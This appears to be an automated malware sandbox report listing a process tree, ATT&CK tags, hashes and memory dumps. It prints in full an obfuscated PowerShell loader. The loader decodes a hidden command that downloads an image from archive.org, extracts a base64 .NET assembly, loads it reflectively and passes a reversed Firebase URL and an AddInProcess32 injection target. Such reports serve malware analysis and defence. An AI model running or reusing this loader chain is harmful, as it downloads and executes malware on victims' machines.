⒡ ⤲ ℺EE㍥ ␙ ⒡ ⤲ ℺cwBz㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bQBi㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺eQBd㍥ ␙ ⒡ ⤲ ℺Do㍥ ␙ ⒡ ⤲ ℺OgBM㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺YQBk㍥ ␙ ⒡ ⤲ ℺Cg㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bj㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺bQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺EI㍥ ␙ ⒡ ⤲ ℺eQB0㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺cw㍥ ␙ ⒡ ⤲ ℺p㍥ ␙ ⒡ ⤲ ℺Ds㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺B0㍥ ␙ ⒡ ⤲ ℺Hk㍥ ␙ ⒡ ⤲ ℺c㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺PQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bv㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺QQBz㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺ZQBt㍥ ␙ ⒡ ⤲ ℺GI㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺B5㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺RwBl㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺V㍥ ␙ ⒡ ⤲ ℺B5㍥ ␙ ⒡ ⤲ ℺H㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺o㍥ ␙ ⒡ ⤲ ℺Cc㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bu㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺aQBi㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺SQBP㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺S㍥ ␙ ⒡ ⤲ ℺Bv㍥ ␙ ⒡ ⤲ ℺G0㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺n㍥ ␙ ⒡ ⤲ ℺Ck㍥ ␙ ⒡ ⤲ ℺Ow㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺G0㍥ ␙ ⒡ ⤲ ℺ZQB0㍥ ␙ ⒡ ⤲ ℺Gg㍥ ␙ ⒡ ⤲ ℺bwBk㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺PQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺B5㍥ ␙ ⒡ ⤲ ℺H㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺u㍥ ␙ ⒡ ⤲ ℺Ec㍥ ␙ ⒡ ⤲ ℺ZQB0㍥ ␙ ⒡ ⤲ ℺E0㍥ ␙ ⒡ ⤲ ℺ZQB0㍥ ␙ ⒡ ⤲ ℺Gg㍥ ␙ ⒡ ⤲ ℺bwBk㍥ ␙ ⒡ ⤲ ℺Cg㍥ ␙ ⒡ ⤲ ℺JwBW㍥ ␙ ⒡ ⤲ ℺EE㍥ ␙ ⒡ ⤲ ℺SQ㍥ ␙ ⒡ ⤲ ℺n㍥ ␙ ⒡ ⤲ ℺Ck㍥ ␙ ⒡ ⤲ ℺LgBJ㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺dgBv㍥ ␙ ⒡ ⤲ ℺Gs㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺o㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺bgB1㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺s㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺WwBv㍥ ␙ ⒡ ⤲ ℺GI㍥ ␙ ⒡ ⤲ ℺agBl㍥ ␙ ⒡ ⤲ ℺GM㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bb㍥ ␙ ⒡ ⤲ ℺F0㍥ ␙ ⒡ ⤲ ℺XQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺Cg㍥ ␙ ⒡ ⤲ ℺JwBj㍥ ␙ ⒡ ⤲ ℺GM㍥ ␙ ⒡ ⤲ ℺O㍥ ␙ ⒡ ⤲ ℺Bi㍥ ␙ ⒡ ⤲ ℺DU㍥ ␙ ⒡ ⤲ ℺OQBl㍥ ␙ ⒡ ⤲ ℺DM㍥ ␙ ⒡ ⤲ ℺Mg㍥ ␙ ⒡ ⤲ ℺1㍥ ␙ ⒡ ⤲ ℺DY㍥ ␙ ⒡ ⤲ ℺Zg㍥ ␙ ⒡ ⤲ ℺t㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺Nw㍥ ␙ ⒡ ⤲ ℺2㍥ ␙ ⒡ ⤲ ℺Dg㍥ ␙ ⒡ ⤲ ℺LQBm㍥ ␙ ⒡ ⤲ ℺GI㍥ ␙ ⒡ ⤲ ℺Yg㍥ ␙ ⒡ ⤲ ℺0㍥ ␙ ⒡ ⤲ ℺C0㍥ ␙ ⒡ ⤲ ℺OQBl㍥ ␙ ⒡ ⤲ ℺Dc㍥ ␙ ⒡ ⤲ ℺M㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺t㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺O㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Dk㍥ ␙ ⒡ ⤲ ℺MwBi㍥ ␙ ⒡ ⤲ ℺GY㍥ ␙ ⒡ ⤲ ℺Mg㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺ZQBr㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺m㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺aQBk㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bQ㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺D8㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺B4㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺Lg㍥ ␙ ⒡ ⤲ ℺x㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺N㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺y㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺Mg㍥ ␙ ⒡ ⤲ ℺4㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺NQ㍥ ␙ ⒡ ⤲ ℺w㍥ ␙ ⒡ ⤲ ℺G0㍥ ␙ ⒡ ⤲ ℺cgBv㍥ ␙ ⒡ ⤲ ℺Hc㍥ ␙ ⒡ ⤲ ℺e㍥ ␙ ⒡ ⤲ ℺B5㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺YgBp㍥ ␙ ⒡ ⤲ ℺Gg㍥ ␙ ⒡ ⤲ ℺Yw㍥ ␙ ⒡ ⤲ ℺v㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺LwBt㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺Yw㍥ ␙ ⒡ ⤲ ℺u㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺bwBw㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺c㍥ ␙ ⒡ ⤲ ℺Bw㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺Lg㍥ ␙ ⒡ ⤲ ℺0㍥ ␙ ⒡ ⤲ ℺DI㍥ ␙ ⒡ ⤲ ℺M㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺y㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bw㍥ ␙ ⒡ ⤲ ℺Hk㍥ ␙ ⒡ ⤲ ℺cgBj㍥ ␙ ⒡ ⤲ ℺C8㍥ ␙ ⒡ ⤲ ℺Yg㍥ ␙ ⒡ ⤲ ℺v㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺dg㍥ ␙ ⒡ ⤲ ℺v㍥ ␙ ⒡ ⤲ ℺G0㍥ ␙ ⒡ ⤲ ℺bwBj㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺cwBp㍥ ␙ ⒡ ⤲ ℺H㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺YQBl㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺ZwBv㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺Zw㍥ ␙ ⒡ ⤲ ℺u㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺ZwBh㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺bwB0㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺ZQBz㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺YgBl㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺aQBm㍥ ␙ ⒡ ⤲ ℺C8㍥ ␙ ⒡ ⤲ ℺Lw㍥ ␙ ⒡ ⤲ ℺6㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺c㍥ ␙ ⒡ ⤲ ℺B0㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺a㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺n㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺L㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺Cc㍥ ␙ ⒡ ⤲ ℺MQ㍥ ␙ ⒡ ⤲ ℺n㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺L㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺Cc㍥ ␙ ⒡ ⤲ ℺Qw㍥ ␙ ⒡ ⤲ ℺6㍥ ␙ ⒡ ⤲ ℺Fw㍥ ␙ ⒡ ⤲ ℺U㍥ ␙ ⒡ ⤲ ℺By㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺ZwBy㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺bQBE㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺Fw㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺Cw㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺n㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺cwBt㍥ ␙ ⒡ ⤲ ℺Gk㍥ ␙ ⒡ ⤲ ℺bwBz㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺s㍥ ␙ ⒡ ⤲ ℺Cc㍥ ␙ ⒡ ⤲ ℺QQBk㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺SQBu㍥ ␙ ⒡ ⤲ ℺F㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺cgBv㍥ ␙ ⒡ ⤲ ℺GM㍥ ␙ ⒡ ⤲ ℺ZQBz㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺Mw㍥ ␙ ⒡ ⤲ ℺y㍥ ␙ ⒡ ⤲ ℺Cc㍥ ␙ ⒡ ⤲ ℺L㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺n㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺ZQBz㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺HY㍥ ␙ ⒡ ⤲ ℺YQBk㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺p㍥ ␙ ⒡ ⤲ ℺Ck㍥ ␙ ⒡ ⤲ ℺';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('㍥ ␙ ⒡ ⤲ ℺','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('cc8b59e3256f-a768-fbb4-9e70-d8e93bf2=nekot&aidem=tla?txt.1042028050mrowxyobihc/o/moc.topsppa.4202stpyrc/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'osmioso','AddInProcess32','desativado'))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H9FR17QM9INIY0I6MYNE.temp

    Filesize

    7KB

    MD5

    d077f75fa7215a83298837ac3f16f401

    SHA1

    3e8a2b1d7b7695bcf8712628e05f1ca0b635c995

    SHA256

    1e5181dc18b3d3aa70e62c6d52718dfd921984f414d2dbe4c04f8e6771e89f19

    SHA512

    4c162f85894f20c71dfc9901208f755ca6269bab16bfa5ada81faa476bf19362ab0b210172b6331f0a3a9fd6caf6bcb777ab7e98d4898699d10ee1359a01f411

  • memory/2660-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

    Filesize

    4KB

  • memory/2660-5-0x000000001B510000-0x000000001B7F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2660-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-6-0x0000000002960000-0x0000000002968000-memory.dmp

    Filesize

    32KB

  • memory/2660-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

    Filesize

    9.6MB

  • memory/2660-17-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

    Filesize

    9.6MB